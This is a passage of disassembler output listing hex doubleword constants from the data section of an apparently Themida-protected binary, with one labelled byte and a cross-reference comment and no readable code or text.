		dd 48FBDB6Eh, 4CA824C7h, 36821C93h, 0BFDAD0F5h,	0F70E325Bh
		dd 3084070Ch, 1350E960h, 0E5414E8Ah, 5F080348h,	0A917A6F7h
		dd 48ECB04h, 0ECAB6A99h, 148A1C7Eh, 735C0320h, 415918D0h
		dd 0AED498E2h, 14FF4D17h, 0F905B629h, 0E03F4BD7h, 54B7A50Fh
		dd 4EBF8329h, 7A0106A1h, 0F95EB145h, 97AF4E9h, 2482BBD9h
		dd 0F6E0609Fh, 83284B26h, 0FC3BE919h, 0C94E5E41h, 42C773E9h
		dd 3FD2F9D7h, 39B0F06Ch, 4187FFCh, 1AC3C44Bh, 0F51D2F3Eh
		dd 10C13D09h, 0DAF48482h, 8FC04ABh, 0C22CAB87h,	0AEA5B9C3h
		dd 851921Ah, 752DE236h,	0D5266522h, 0ACCC7175h,	0BB68124Ah
		dd 81003539h, 2D12CFBEh, 96D7010Fh, 0B773F24Bh,	68C02BD6h
		dd 3C956D7Ch, 8BCA5E75h, 0EB00769Fh, 22AD6FA8h,	1F31BE56h
		dd 15FFE40h, 0F76766F6h, 4A413C3Ch, 0EBA01203h,	65D42CD3h
		dd 29F7A5A6h, 0FD68D7BEh, 679D6368h, 0E9BB2F17h, 0ADE93212h
		dd 1780CC24h, 1AA96E46h, 0B4AB810h, 0FE971CF8h,	80E95823h
		dd 5CE00770h, 0C9CD797h, 0C660DF98h, 4B5EB862h,	404A2E9Eh
		dd 2D42420h, 4DE74C6Ch,	895963D0h, 0D1A32ADFh, 26C25E7Ah
		dd 0DD24705Dh, 2A03AE41h, 2282AF2h, 0A0A803CFh,	0CB31107Dh
		dd 1387EB48h, 94AFE34Ah
		dd 0DC46C078h, 0EB9DE6BCh, 6B31CFBFh, 906FFD68h, 2A1D23CDh
		dd 0D1C1EDAh, 14171C08h, 497EC6E7h, 0F40FCC1Eh,	25827209h
		dd 32561FE9h, 34308EBDh, 77C0771Dh, 96FB908h, 5C294BDEh
		dd 206BF157h, 2D08900Ch, 1CDD8B8Ah, 0C5FC20CAh,	50C8310Bh
		dd 1690F351h, 7EFDB119h, 0BFE33720h, 1FEB2839h,	0A8024E9Ah
		dd 9D7F1CA3h, 0E9C0DF97h, 0E109C868h, 0D258F93Ah, 89BE7512h
		dd 7A3D4179h, 0A8E22475h, 0C9A23C9Ah, 0FBD7334Ah, 4FE9619Ah
		dd 0C9CA2B6Ah, 21EC097Ch, 0A8554B41h, 933E0854h, 8AFFED88h
		dd 0FB5F7D5Eh, 7C6160B5h, 0D4E2AEE1h, 0C9527257h
		db 32h,	2Ah, 0B9h
byte_4F20F7	db 4Ch			; DATA XREF: Themida_:00561FEEo
		dd 2A96DF57h, 1B18D795h, 35FAE68h, 5ED57A98h, 82767516h
		dd 3F20CE5h, 5A64D625h,	788D207Eh, 776B6802h, 555D31FCh
		dd 613298C8h, 5E626697h, 0CE90C512h, 32E84A66h,	1007C6A5h
		dd 9098949Dh, 0E88D697Eh, 3DA7C1FDh, 5A83A920h,	6228CAABh
		dd 0DCD13981h, 0A94A74h, 0A4E6609h, 290EE181h, 0C2017533h
		dd 555D34F1h, 38546B40h, 0C02C0B88h, 196CC25Bh,	58F6657Fh
		dd 5DADF25Eh, 1988FFD2h, 0FA6BB705h, 0BE2C93A8h, 6A4DCD98h
		dd 6EF77627h, 4AFFD2E4h, 4888C830h, 7DCF4DC9h, 8039FFD3h
		dd 42413266h, 903EAC1h,	8FE9DAF7h, 0B090D658h, 5A383412h
		dd 9E69D204h, 82838CD8h, 0BC0A45D7h, 499C7729h,	9561BEDFh
		dd 201F985Dh, 6683CFE2h, 2106EE4Dh, 18F08AEAh, 0C5A04499h
		dd 662E0295h, 4D3F7E55h, 2F05319Fh, 2FE9D4D8h, 13F56779h
		dd 3D2B289h, 0F193C888h, 501EE7C9h, 2E6C1A9h, 0A7401090h
		dd 0DD7F6C68h, 719D6088h, 0D05087C4h, 5B9218FFh, 5FDE7A73h
		dd 3FDAF10Dh, 10C9B8B0h, 50ADC02h, 6BAE925Ch, 0E92804FBh
		dd 0CE8697A9h, 58691EC6h, 0B392BF04h, 4AEBDC3h,	0E9D5012Bh
		dd 90638E01h, 18D55B25h, 95DF314Eh, 0FE5119DCh,	0D27229B1h
		dd 0F7E66BC7h, 1C525A7Ah, 66D001F9h, 0FD57B353h, 3A1D7E6Ch
		dd 5A025E27h, 39C3315Dh, 124A9738h, 771A1F4h, 0EEE0D5CBh
		dd 0E7AE6412h, 7DAE5EF1h, 0C83A7Bh, 5C1D56E9h, 6899805Eh
		dd 53B626E8h, 23389060h, 0AE91563h, 0E60BC75Eh,	1F804603h
		dd 0B1FFEFDh, 584B36FEh, 28A7D6F8h, 0D108E824h,	12DEBAC9h
		dd 0D669BAEBh, 0E785D17Dh, 621B9827h, 3F3B25h, 0A0DAD13h
		dd 0E0D2D311h, 87EC80E6h, 59CA8805h, 30BBAB68h,	8067B75Eh
		dd 4DB2F750h, 307C9E51h, 3514DEDAh, 4FC5293Ah, 5797AEB6h
		dd 69CBAE03h, 18AAEC5Bh, 0C239A518h, 5C5613D6h,	0AA8C0B48h
		dd 53C4FDDh, 4B6DC3E9h,	1E5AE393h, 0FDA90727h, 0BC5CF5A5h
		dd 6AC803A5h, 0C4A37E1h, 5D227042h, 59543968h, 0B60F68A2h
		dd 6572F655h, 5DB7109Fh, 4B579350h, 5C27E623h, 31EF4FF3h
		dd 9E1AE7EBh, 0FB2CC615h, 0AC08F229h, 0F5D8278Fh, 165C6812h
		dd 0E6C11F64h, 0B03A7E9Dh, 30B5636Ch, 7E79A588h, 0ABDCBD06h
		dd 789595Ah, 3A835DEAh,	33C1088Ch, 17DD788h, 0E05501BFh
		dd 4F406F76h, 8502AD91h, 90732AE9h, 35574FA8h, 7C310265h
		dd 32C0A636h, 0DF886AC0h, 96B6ACBCh, 64F842B8h,	1099B08h
		dd 0A71875E7h, 0ABD087B6h, 31BE5A90h, 3C282186h, 71D2C1E8h
		dd 3F300770h, 94F5F6D6h, 605A51D8h, 5F808D51h, 69F1002Dh
		dd 0EA81627Eh, 644807DDh, 0D2C21CBFh, 523E2F09h, 4108833Ch
		dd 0E16E14DEh, 11452126h, 2B754084h, 0CF4F69CAh, 0C6D330F9h
		dd 9FB3E99Ch, 59FD4DE2h, 86E54FEAh, 0E128BB32h,	0F7009E7h
		dd 6AD215AAh, 98776920h, 0DF124FEh, 0C14909B9h,	0FC837309h
		dd 0B8D424CFh, 733E17A0h, 0D6250807h, 2D269980h, 0DFDE17EAh
		dd 4077B1D9h, 5921F413h, 35055B4Fh, 4C90BAF3h, 0E8D0F6E8h
		dd 9A8297C5h, 87DC0BEDh, 7BEB013Bh, 0B450D328h,	851038D7h
		dd 3A63E32Eh, 166946E4h, 57012332h, 0E9C1927Ch,	407BD34Ah
		dd 265DF711h, 55245216h, 7A026E53h, 5445A166h, 393F02FDh
		dd 0CF62548h, 5FBE1F04h, 5D53EFD1h, 0AD02C6Eh, 5EFED74Fh
		dd 53B412A5h, 0C420AF32h, 4B2E4064h, 2D972806h,	0A9600EA2h
		dd 1B1869C6h, 230C7243h, 9EE37227h, 3F08A031h, 4F5AA5E9h
		dd 0A4D6F852h, 11FC12C9h, 0F501ACA9h, 0B9422F2Dh, 6C79FC68h
		dd 8581D4CEh, 0B650C11Ah, 6055E48h, 7FC8E31Eh, 164B6092h
		dd 0AA6DD6B8h, 5E33B09Ch, 932AA36Fh, 54521244h,	0A151E9BBh
		dd 102C820Eh, 398900E5h, 0E965AD77h, 0A3668425h, 0F241C39Dh
		dd 30E7FE24h, 25051128h, 0EE00C1ECh, 0CE814E04h, 93A7F0Eh
		dd 91C0E938h, 2D5D16D5h, 0EB13A0F6h, 291BBDC3h,	9E36C821h
		dd 5BE071Eh, 0A2698B72h, 7B7DF002h, 2B470C06h, 2D045836h
		dd 29137C5h, 993181ABh,	6A293F83h, 3DFD8344h, 0AD40C655h
		dd 152597Ch, 6BC98173h,	3A23857Bh, 63F73BF0h, 9DA16D9h
		dd 0A3E96490h, 0B120E6B4h, 0D17576B5h, 0F6206A69h, 50F334B8h
		dd 17C9971Bh, 4E6F0F5Eh, 6B2E6508h, 27601D32h, 4CE26BF6h
		dd 7CD9D7DFh, 0FF92428Bh, 3FF480C6h, 3EEE48B7h,	953BA62h
		dd 3B825BF3h, 119CBC7Eh, 0A954ED59h, 0D5EEB454h, 1298FB53h
		dd 0FCCB4DE9h, 48FDBF04h, 0F789809Ah, 634E3A0Bh, 72F2B401h
		dd 127F5FF9h, 840DBD6Bh, 0C25ED95Ch, 0C6E08EAh,	0DE700DFh
		dd 12C5Dh, 9BF57D6h, 9764B36Ch,	941AE916h, 20791521h, 41DE913Eh
		dd 6DC71023h, 52210FD5h, 3CABFA29h, 84FF234Ah, 3AB5EEC3h
		dd 0B76BBEF8h, 0F15B2174h, 0B766798Fh, 0F3224412h, 43305A5h
		dd 0EE61618Eh, 17ECCE9h, 14CBB3Dh, 973C20B4h, 5E884140h
		dd 68D1A1C6h, 7CEC18F5h, 17ACEDB5h, 0FCDF4276h,	0F12113E6h
		dd 50B62CBAh, 96645764h, 0EE6931BBh, 0FF0EAD65h, 0FD3FC01h
		dd 9914125h, 0C5E18195h, 3E940B29h, 7564CC20h, 0C72EF323h
		dd 3FF5F1B8h, 4306C551h, 0BE854AEAh, 4F4BA3A7h,	0A8736DAAh
		dd 66F1CFF0h, 45838E2h,	1C474372h, 1B5F804Bh, 0A2C59014h
		dd 9E304CC7h, 3C060B5h,	0C5FE07EDh, 80B1B753h, 0E799DBEFh
		dd 36E0DA77h, 5B7FFD28h, 278AC097h, 0B0CF7688h,	0DAC73831h
		dd 6065997Fh, 8015B652h, 1E26C538h, 0F06766F5h,	0BF7C27EFh
		dd 55F0A775h, 0A1B04394h, 745A7266h, 2D564C5Dh,	57680C5Fh
		dd 5B5C9CC2h, 282A7C81h, 0E8278BAEh, 32762D2Dh,	5A326EB2h
		dd 63D6A0F7h, 0AA1E1B30h, 3945DDD0h, 9E2DFDACh,	5DD2252Eh
		dd 7CEF6B7Ch, 7FAF9D1Ah, 605F9340h, 0B8C50980h,	0F3ED548Bh
		dd 7A2413F5h, 275501D7h, 0F018CC4Eh, 3D136EE1h,	500141CFh
		dd 77346FB5h, 35E31882h, 0E7E11627h, 8BE62A13h,	0B73AFD7h
		dd 5A26F1CFh, 422CD438h, 27BB00BFh, 6EE953C2h, 0FE95A870h
		dd 0E0E978FEh, 68099396h, 0A97EF9BCh, 515C2E93h, 90AF7866h
		dd 0DFA11082h, 5FD83075h, 0F430590Ah, 0B338E3B0h, 0F5F39F80h
		dd 55A3E1C9h, 86D6D218h, 312A7C89h, 4D75207h, 0AC16C0EAh
		dd 0F0FF3C14h, 7C9FE3F3h, 6853C022h, 0BA051CBFh, 0D72BE94Fh
		dd 93E8AA7h, 0D0CC1CA5h, 41A9846Bh, 0FE2AC1FFh,	77E2DA71h
		dd 10B986Bh, 0CC86D752h, 3BCA451h, 0E9213174h, 184F8BB0h
		dd 40E3B1B4h, 0F812884Bh, 30A1C0FEh, 99AEB343h,	0C6D83DEEh
		dd 0E9FCE172h, 8DC460CAh, 0F92023EDh, 4C4926B8h, 32FE5A32h
		dd 7250EC2Dh, 77DB0504h, 0CBC554F7h, 0CA4A97F8h, 5FFB6B19h
		dd 9F4B1796h, 0FC2F33A1h, 0FC97F1CBh, 6B9E8D6Fh, 0EF7E08BDh
		dd 294B3E38h, 54EE2F70h, 805BA0C0h, 1FCAB9EFh, 70199E2Dh
		dd 0BE2978DAh, 8FA85801h, 0EB9CAFBDh, 0A34E5564h, 2DEA8B4Ah
		dd 65FA2EA0h, 0F34F083Ah, 5FD8310Bh, 7B1A9345h,	4C5077C3h
		dd 185E7620h, 6E8EB80h,	0C37D28ACh, 0A0A62D2Fh,	37569A35h
		dd 68551722h, 7882F34Eh, 3E3D4002h, 786FE97Ch, 70B5647Eh
		dd 1285F8F5h, 70D86B2h,	4CF408CFh, 2E80EC0h, 84F85B2Ch
		dd 0F5C0EC22h, 85FC77C1h, 1C50B7E0h, 0C044EB97h, 4A415B66h
		dd 4D31EA5Eh, 70F6E9DFh, 0C5DCB71Ah, 8CD3575Ah,	5235804Bh
		dd 0CE7A96E9h, 78A2C31Fh, 1AFF15D5h, 16CD567Ah,	418ABB5Dh
		dd 0E244A59h, 0DBE5A7D7h, 527CD425h, 0B10178F2h, 0FED1F623h
		dd 2BC980C1h
		dd 0EC72C9CCh, 67464F1h, 98EA17F2h, 6E6F3552h, 9BF2C00Ah
		dd 0EC03E2C0h, 12C762C2h, 9BE2285Dh, 0B39E322h,	64352C02h
		dd 0DB322539h, 0DEB53944h, 73709124h, 5BD0BD0Bh, 3D4202ABh
		dd 6FF37E7Fh, 0E06027FAh, 0F3301270h, 0F8F00C15h, 32059565h
		dd 8216D50Ch, 986A5F92h, 10D8F4C2h, 68CA7200h, 4D3FF181h
		dd 0A01E5B9Eh, 0D7502958h, 0DB4FD6B5h, 0EAF664BEh, 1C2854E2h
		dd 18F5EC41h, 4E37D945h, 762429F7h, 0D600241Eh,	0E90CCC24h
		dd 0FEB35AF9h, 41F56268h, 0D2803E5Ch, 0A8215268h, 827148B4h
		dd 0ECCD8975h, 23E00410h, 0FE094308h, 0CEEFE38h, 4E516469h
		dd 44B5083Eh, 0C95F13E4h, 49A13F4h, 0FB654FE4h,	0BC4FBEE2h
		dd 99D13E9Bh, 0C6E793B9h, 87379C3Dh, 0B6E590F0h, 4B60E413h
		dd 7FE7ED0Eh, 3F7E4844h, 846D5402h, 0C2FD0175h,	41B4D712h
		dd 802F89BAh, 0BD385B9Ah, 4B8EB390h, 0CE05D9B8h, 0CB1C2D3Eh
		dd 4EB81E2Bh, 212ECB45h, 84A4B2FEh, 0DB80E6D1h,	4AB3020Ah
		dd 0FE1D8408h, 6F71B7F1h, 985EF0DCh, 3833272Fh,	2D1AE98h
		dd 49799427h, 0FDCCC5ADh, 54C063CBh, 35F2204Dh,	2134DC40h
		dd 10A29D4Ch, 593BEBE0h, 40F86426h, 481A5EBEh, 62BA294Bh
		dd 30C150A7h, 77840456h, 3AAD0B81h, 0AE275685h,	0A3880402h
		dd 0F75F0174h, 6BE447D7h, 0AFADD797h, 1B855006h, 0CF30445h
		dd 0FE294335h, 0FC34C292h, 8940A538h, 384F68F8h, 8CCDC01Fh
		dd 26D93B62h, 4A7DAAF4h, 76D4E35Ah, 28EF2C4Fh, 5B419628h
		dd 0A388700h, 0EC726088h, 3B941DAh, 7F5EE91Bh, 0CC68A022h
		dd 3ECC950Dh, 2076271Fh, 81D8569Dh, 4A48A516h, 0AD10AAAEh
		dd 85834A07h, 3368005Fh, 21659246h, 789D5BDDh, 1BD49FDBh
		dd 2691DB00h, 6723E999h, 72D6F350h, 744670DFh, 767B71A8h
		dd 485B880h, 95BDF22h, 58218BC3h, 71860CFCh, 1C218B2h
		dd 2E06EB05h, 0EAE9D331h, 839468FFh, 1E18973Fh,	558198F4h
		dd 0C5EBA13Fh, 0E4B64214h, 0AF4FDBD7h, 0EB071955h, 5E6145FCh
		dd 4D5A573h, 0B8F40508h, 3EB1B6A5h, 8033DE8Ch, 0FA747259h
		dd 0D74B137Dh, 0AD00FB44h, 0FE39497Bh, 97EB7989h, 62D14906h
		dd 721D46F0h, 0CB810968h, 17F27870h, 97DD6020h,	508D9551h
		dd 0A83A10B4h, 99E9E0C2h, 28BB944h, 25416887h, 0CE8B9D59h
		dd 5FB8897Ah, 300205E9h, 0C12F7E0h, 0DDE83925h,	0EF43D600h
		dd 503B82Dh, 3145B507h,	53605FF8h, 97FFD00Ch, 5E6AA2F5h
		dd 56D2DC51h, 30D80A30h, 1616B850h, 0BF745361h,	8543E11Ch
		dd 264AA740h, 4BEFAEE2h, 0CD6B87Ah, 0FAEFC4F5h,	68ECA7EDh
		dd 3CAA71F4h, 4533E92Ah, 0ABB10A0Fh, 992FC380h,	0CBC139C3h
		dd 60D67671h, 0BAF67312h, 602C1721h, 5BBAB08Bh,	3CAE0F1Dh
		dd 66B5EA93h, 0D718F12Bh, 885B8113h, 2ADA4B1Ch,	5A854348h
		dd 0D2CDF96Eh, 2CFCC995h, 706C2914h, 0CE45FB4Ah, 2FD87FE2h
		dd 2DFE2568h, 92805D98h, 207BA80h, 689AC7D9h, 0C566210Ah
		dd 492094A0h, 0B0C02C4Eh, 13935B8Ah, 42CDE925h,	6C840F3Fh
		dd 0DA68C3A1h, 0CA1C7816h, 58240334h, 0EA4F6F10h, 0B7F0FF12h
		dd 0E47612A8h, 9189023Eh, 9E60947Dh, 0C7975192h, 20272016h
		dd 4A995407h, 69E07927h, 753121E4h, 1E2D1280h, 4022E06Fh
		dd 18900D0Fh, 4FE6D82Bh, 7A062545h, 13DAE47Dh, 5CDC631h
		dd 0AF5AD022h, 0C16E1E3h, 0E79DEEC3h, 82D9EC6Bh, 79E4E5E9h
		dd 8F6C8870h, 0F64BD01h, 743239EEh, 0EA2A94Ah, 2B3188EDh
		dd 283A7E67h, 0FD85955Eh, 9AA4EB5Ch, 715845C5h,	66937E4Bh
		dd 56F7F25Fh, 0D0290EC2h, 0DD21F0E9h, 2A06E2C1h, 0B922030Ah
		dd 61BA1919h, 18811FDDh, 6C5D1DEBh, 9CCB400Ch, 2F402C6Ah
		dd 9B1318B7h, 0ADBA1861h, 971A316h, 92964246h, 0EEC6048Bh
		dd 0AA074AD2h, 411C28C6h, 10283CE7h, 680BD760h,	0C83071F3h
		dd 0A62854C1h, 0F10EB978h, 0C0626A31h, 9D5C0EF2h, 2AE69720h
		dd 15122490h, 1AF6249h,	0E4E906EAh, 0B5AD7A90h,	1EB353C6h
		dd 20FD4555h, 40BD0E0Bh, 8604371Dh, 224910F0h, 0A9C58B8Ch
		dd 3000655Fh, 85D8E907h, 0DC2D75C9h, 0B8059376h, 6DE88380h
		dd 0B951B886h, 41B022Bh, 75CAE960h, 92057452h, 316B8BBBh
		dd 0D42747E8h, 560EA5Ch, 0B714E345h, 77D399E0h,	175DBE80h
		dd 0FF747267h, 0A0C92584h, 8E90C01h, 0A84A162Fh, 92F3C558h
		dd 0BB34D4h, 9819F654h,	0D4A05D6Ah, 0B880AFC3h,	0E27E035Fh
		dd 8E0C114h, 83C70750h,	9BB2A40h, 533464Bh, 28B7E8D5h
		dd 6DC4845h, 0FAD64F70h, 22936B27h, 0AC13CCCBh,	0B781E427h
		dd 0E900155Eh, 7D97C93Dh, 45263A10h, 0F735E200h, 4BE3D1DBh
		dd 5BB525E9h, 300A0D48h, 0AF09D53Dh, 7F28628Eh,	0F1CE9A48h
		dd 66157118h, 2F50FE0Ch, 0D50F53F7h, 0D841F6E0h, 259F5ACCh
		dd 90EEC367h, 0A343E963h, 0F1E95BB4h, 0CBB881EBh, 607D3529h
		dd 8009BA1Fh, 5F379114h, 5969AF7Ah, 2D33F258h, 14F5EDCDh
		dd 0FA5A971Bh, 0E895367Ch, 33C76A05h, 0B592F087h, 1EE0C02h
		dd 0DCFBE9D9h, 0F3280E65h, 0B2927DE4h, 0DDE240B7h, 0D7FBA055h
		dd 0EA29C4BFh, 695BAC4Eh, 807BE3C3h, 0BC462B68h, 2AACAB9h
		dd 29C443FEh, 18FB63DFh, 281D9598h, 7D1798BDh, 83AD4CFEh
		dd 2E0C3B73h, 77E94585h, 0E050FAA1h, 0E3067FD4h, 0C9B74ADh
		dd 290CCCC6h, 0C039C118h, 5F303C0Dh, 84197A8h, 15CD242h
		dd 0CC59E580h, 890C9F5h, 0E610C89Dh, 322526F6h,	0F8EE0248h
		dd 3041043Bh, 5F4B7CC5h, 0D5C369EEh, 20707588h,	9304EB60h
		dd 0DD895AC6h, 40C40804h, 87B2C5EEh, 533FF6E6h,	3078B067h
		dd 0C127F8A8h, 0A43B51B9h, 3DC9026Ch, 841A5972h, 31099684h
		dd 0C8C2487Fh, 341C955Fh, 772060B8h, 0EBBD0368h, 453BC75Fh
		dd 0EC6D878Ch, 0CD763111h, 28C9FDF0h, 82956557h, 4BCB08EFh
		dd 18E6745Dh, 0AAE971FBh, 0EFB77D60h, 4B0508F8h, 1110AA58h
		dd 0E5B3008h, 12A1E165h, 4228E9AAh, 0AEF802Dh, 8D239089h
		dd 0D192D9F6h, 0FF16E0DCh, 105F985h, 0FEE48722h, 1B4A48F4h
		dd 6BD5487Bh, 59D1E780h, 88DE2E24h, 1694F384h, 5A889785h
		dd 0D39809C5h, 0A8002A91h, 1ECAF228h, 0E8F76BDh, 0C2CA5DEAh
		dd 0B52724F7h, 0B16BA9FBh, 0C7533250h, 398C2DDEh, 0FA81ECD9h
		dd 4B0D123Eh, 39B95720h, 0AC4E3421h, 1A8B206Ch,	6CFBFFBEh
		dd 5DE2E41h, 3A355790h,	0F1714A6Eh, 795FCE8Eh, 56161738h
		dd 0C027A989h, 6ADE664Ah, 12682D57h, 13BC2251h,	7F4426A3h
		dd 0DF516465h, 30E18813h, 0D7B45087h, 421A56BDh, 63766021h
		dd 55D2288h, 9122CACh, 11F5A1D1h, 54031A94h, 0C23C1BD9h
		dd 5238565Fh, 82D5124Ah, 549621h, 6E3C05Ah, 61D67E97h
		dd 8FD5F62Ah, 0A3C06890h, 0C5CCFE08h, 0E9B0E0BEh, 0E0F1D04Fh
		dd 0C573BD2Fh, 0C081BF0Fh, 69707Ah, 0EEFF548Bh,	467ABFCEh
		dd 511F4E63h, 0CB0497B1h, 4F203EB8h, 1E4E5276h,	647EBBA1h
		dd 2CCF3CEh, 5F2ABD55h,	8440F5D4h, 765B3AB6h, 8046EBC0h
		dd 0A3EB5A09h, 0AB5C2CD8h, 0DB1B5401h, 286E5127h, 0D83868D2h
		dd 0E94E0955h, 586CE1F1h, 4209D031h, 0C380AE83h, 80559ECh
		dd 676FE9D3h, 0EAD64EE9h, 8859344h, 3C77FF02h, 0E2D6F9F5h
		dd 0BE7A0237h, 0F364BE0Ch, 0B5945A7Eh, 687098DEh, 3F1264CEh
		dd 4E0EA8DFh, 0F1F113BBh, 0D697D3D1h, 810F064Bh, 0C1044ACFh
		dd 7963E927h, 0DE8B30BBh, 0A200EED1h, 3BD04DE5h, 63A9C6C1h
		dd 0F7201A7Ch, 61E0F415h
		dd 77070C2Fh, 0C7FD20CAh, 6219A10Ch, 3B7AB223h,	0F669F61Dh
		dd 308BD08h, 101E685Fh,	62BDA73Ch, 41E4C5E5h, 97707FBBh
		dd 0CD21075Dh, 72FD8759h, 1FD40801h, 2EB16465h,	0D8EF1742h
		dd 0F7C94086h, 97D9C7A2h, 244CF62h, 84410166h, 61743158h
		dd 0B6C0011Fh, 0AC162A60h, 5B0EDC19h, 19E50C84h, 0A0D0C23Dh
		dd 8A805509h, 25C13BFAh, 59D1312Dh, 0E5C66281h,	0CA078408h
		dd 0F0296C5Fh, 4E73FC96h, 817FB834h, 0A354DFE2h, 422EA461h
		dd 56D30108h, 3B92E4F5h, 2CAD33B3h, 63BAE3E0h, 8CA0D676h
		dd 68802261h, 7D1C62D1h, 1045768Bh, 0E2E4DEA5h,	5805ADABh
		dd 0C757F4FAh, 4B8BF940h, 4F00DA2Ch, 0CD63DFE4h, 0C7885373h
		dd 0DCB63A62h, 0FFBF04B9h, 7C36A88h, 3B6420D5h,	388576E9h
		dd 0E1DD87B7h, 0B0812AB4h, 4B648721h, 44E0FDC3h, 62069C91h
		dd 0AC0105A2h, 0C4C9D604h, 1E3F8FE9h, 28C24735h, 0B05994D8h
		dd 0FE682905h, 18CB654h, 0BFB07AEEh, 0CE5F43A2h, 4D02800h
		dd 6F67DFAAh, 515C7E94h, 2EC97D5Eh, 0B485005Fh,	953A4F33h
		dd 0F94468DCh, 0ED2F55E1h, 0BF68A05Dh, 9AC0A871h, 0E1A9D616h
		dd 4A54CE3Fh, 0D9BE5717h, 5EAA0290h, 1C618EAFh,	0E9367238h
		dd 50022CF3h, 106CCD4h,	0F1897EC9h, 0F9C31F82h,	1E7B1F30h
		dd 8EB14CBh, 0F4C5E84Fh, 2641C185h, 391F6850h, 0EAF48F3Ch
		dd 0E98238B9h, 4D7A5979h, 0C02D7AEAh, 450B7F52h, 0E944B0D5h
		dd 24184FAEh, 13E8AB76h, 6C2E702h, 20EB2A20h, 0C1680309h
		dd 612AD97Ah, 0ED55F929h, 0CEE13BCDh, 4BEA1630h, 96F4E393h
		dd 57C50F17h, 7093E0FAh, 776F7F14h, 5FB94AE7h, 92E9AC63h
		dd 0C70747CEh, 832F29D2h, 0CA79B6B2h, 4D42AAh, 856419A8h
		dd 0B029505Bh, 0E908A0C3h, 43B56411h, 0EBE4AFEAh, 17746008h
		dd 0A37D2C1h, 0BA2ED67Bh, 54620098h, 6A39C15Bh,	0EBAE8C2Fh
		dd 98C9784Bh, 27216ECCh, 0C6F826D2h, 40F69E80h,	1E0CED30h
		dd 4AF031F4h, 0B20F8FCh, 0DC3886E9h, 44F298C1h,	0F69FBE76h
		dd 0B73E2898h, 0EA05D7CCh, 6B7D0E7Ch, 9D112C2h,	524C98D4h
		dd 16BD60CDh, 63799BB8h, 0C531071Fh, 2B80E412h,	0E65290B2h
		dd 0A5F4BD3Eh, 0C2800803h, 0A37686C9h, 0DE2078B9h, 8A71270Ah
		dd 0EEC052C4h, 1C8DB6D4h, 0C359CE28h, 0E30E9F0h, 66EE2274h
		dd 7A6DF49Fh, 61189A5Dh, 0A24D9C20h, 281C1930h,	99919FCh
		dd 7DD886BCh, 0C973198Bh, 7FE78916h, 0A74E681Ch, 0E2A43F51h
		dd 0E022105h, 59E246C0h, 3D44023Fh, 0AF2E942h, 1B26DFE4h
		dd 4BB07B8Dh, 0B02EC580h, 41494A4Bh, 384579ADh,	540CAD76h
		dd 0BE0CB4BBh, 5E04EFA4h, 882CBA69h, 4BACFEC3h,	49028B4Fh
		dd 82D17A0h, 649837E3h,	393776E1h, 78463Ch, 654D13B8h
		dd 13B82D0Eh, 0D21FD62Dh, 0E13727E9h, 566AF054h, 70D0A644h
		dd 0E0823105h, 0E20FBC1h, 94F39794h, 4053C80Ch,	80CE0EB6h
		dd 0F00950F6h, 6223CC82h, 7DE9E254h, 3B60B7DAh,	0E26852E3h
		dd 1B352557h, 4002EAE1h, 5936D7BFh, 642FB890h, 98E6A28Ch
		dd 9EFAD5CFh, 0F655532Dh, 8C05E11h, 0FE5A43BFh,	5D570572h
		dd 4A6FB1E9h, 0B4C09EBh, 0E4754EEFh, 92C90EEh, 63C25049h
		dd 73D9D100h, 9B953FE0h, 0E952F8FEh, 7976498Dh,	0C9FA2116h
		dd 0F97DA5D7h, 14F72700h, 9F3CF820h, 31E35965h,	8CC97D0h
		dd 0C50B4FE9h, 5A81B942h, 0E9F0F0A9h, 0BD9A98FAh, 0BF57097h
		dd 201A1C34h, 5D128FDEh, 8A2578A9h, 9768AF83h, 262D91F5h
		dd 42BC054Dh, 6A7B84Eh,	9403045h, 0A7E91612h, 7798EB95h
		dd 0CD734F4Bh, 99FC6A11h, 6FDD5189h, 7E7BAF22h,	77685502h
		dd 26C02867h, 0A5931AECh, 0DE0E0C44h, 0C06C0E67h, 0CB69CCCFh
		dd 970CC105h, 3135A757h, 2522D418h, 22B1485Ah, 3A23F0CEh
		dd 75A85DA8h, 2DA191BEh, 0F195A546h, 915362F9h,	37EBD3F7h
		dd 0B6D9970Dh, 0C4B108CBh, 0EA48E962h, 28F05D5Fh, 2041E497h
		dd 0D6BDC2AAh, 95896F73h, 6EBF1870h, 0D1C29502h, 37CDECDFh
		dd 6E5F8C59h, 0B87ACBE5h, 0E895D284h, 812740EFh, 0BD6C9FE5h
		dd 0DDF73812h, 0F00C34FBh, 66316827h, 8E03BB4Ch, 6EDC8801h
		dd 0BF5BE5A0h, 5D274B79h, 2F96089h, 74E44D8Bh, 27B38E61h
		dd 20DCFF12h, 0AE915AA0h, 0C03FC629h, 7F15057Bh, 0D4422F67h
		dd 565377A9h, 6BC07396h, 247B6468h, 94B4688h, 0ABCB725Fh
		dd 7B2A1ED3h, 0DAF4ECD8h, 38BE655Fh, 0C99A28C8h, 0CC97A9B8h
		dd 5E6D9841h, 4A08C22Ah, 80CD86C0h, 0D436CA27h,	0DDEA0BC6h
		dd 44E98E02h, 41175FFEh, 3E8ED6BEh, 0B020942Eh,	36DC801Ch
		dd 0CE72F7CEh, 8F68C2C7h, 82EEF947h, 0F4884EB6h, 0A601AF60h
		dd 40E46082h, 96D582C0h, 1759B90Ah, 0FA64EFB0h,	6C6DF4EBh
		dd 848C180h, 7C29352Ah,	0A82B820h, 92287E57h, 3B12E15Fh
		dd 51D0B894h, 5C7D113Eh, 702DAA14h, 3428DF20h, 0F70B4F85h
		dd 8EEBC1DBh, 5EBE6372h, 0D98816B1h, 2DB2FD5Bh,	0B725DF59h
		dd 0A991EAA3h, 0EED85DCDh, 36F5EC67h, 18021A99h, 5A159608h
		dd 9E2021Fh, 67613B1Ch,	1BEEC828h, 79B5EBF2h, 0B1E26ABh
		dd 69276BE6h, 7041134Ch, 9778FD2h, 241C52Dh, 50916853h
		dd 715899B0h, 0EFB00350h, 482F7300h, 0C7BD5518h, 346F1F69h
		dd 0FE90B21h, 1562AA5Dh, 0F2D75C25h, 0C720CA44h, 8594B584h
		dd 0E447C19Dh, 2912CE7Ch, 0BA70D5D3h, 4A21E528h, 89C9F247h
		dd 0B4BF6069h, 0DC28260Ch, 0E788C166h, 463B2058h, 0F152304Ah
		dd 68B0F8A8h, 53C41651h, 0B6007E43h, 56C680AEh,	8995FCF4h
		dd 0CCD1D501h, 17F55CC6h, 27F529E9h, 0FC6C75E1h, 814B25DAh
		dd 288E6E95h, 3C82A17Fh, 0F6A44FDBh, 4961107Eh,	2B5A0263h
		dd 2129320Ch, 8F3B7FE9h, 0E663EDFDh, 0FCC97EF1h, 20AB62Ch
